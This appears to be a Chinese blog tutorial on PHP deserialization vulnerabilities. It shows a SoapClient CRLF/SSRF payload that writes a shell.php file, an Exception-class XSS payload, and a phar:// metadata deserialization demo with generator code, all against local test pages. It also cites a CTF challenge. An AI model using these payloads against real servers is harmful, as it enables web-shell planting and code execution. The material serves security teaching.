php反序列化漏洞 (5)

payload:

<?php $target = 'http://127.0.0.1/CTF/test.php'; $post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: ' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^','%0d%0a',$aaa); $aaa = str_replace('&','%26',$aaa); echo urlencode($aaa); $c=unserialize(urldecode($aaa)); // $c->ss(); ?>

php反序列化漏洞

成功被写入shell.php __toString原生类利用

测试代码:

<?php echo unserialize($_GET['u']); ?>

利用payload:

<?php echo urlencode(serialize(new Exception("<script>alert(1)</script>"))); ?>

exception类对于错误消息没有经过编码,直接输出到了网页,便可以造成xss

php反序列化漏洞

phar反序列化

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

原理

phar文件结构

a stub
文件格式标准,格式为xxx 前面内容不限,但必须以__HALT_COMPILER();?>,否则无法识别是不是phar文件,其中xxx可以用作绕过文件上传的检测

a manifest describing the contents
phar本质是一种压缩文件,压缩文件的权限,属性等信息所存放的位置,以序列的化的方法存储用户自定义的meta-data,在使用phar://伪协议时会反序列化这部分,漏洞产生的原因就在这里

php反序列化漏洞

the file contents
被压缩文件的内容

[optional] a signature for verifying Phar integrity (phar file format only)
签名,文件末尾,格式:

php反序列化漏洞


phar://伪协议介绍
这个参数是php解压压缩包的一个函数,不管什么,都会当做压缩包来解压
测试:
要将php.ini中的phar.readonly选项设置为off,不然没法生成phar文件
用来包含某个文件,构建类TestObject,然后析构函数结束时打印data数据

<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include($_GET['Lmg']); ?>

生成phar文件,且定义的meta-data的序列化

<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'Lmg'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ?>

运行生成文件为phar的文件

php反序列化漏洞


在真实情况,需要上传到目标服务器,然后利用phar在解压时会反序化meta-data部分来达到目的,这里就直接直接包含了,打印了Lmg字符串

php反序列化漏洞


受影响的函数

php反序列化漏洞


利用条件:

phar文件要能上传

有可利用函数如上图,可魔法函数构造pop链

文件函数操作可控,: / phar 等没过被过滤

一个ctf例子([CISCN2019 华北赛区 Day1 Web1]Dropbox)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpsgff.html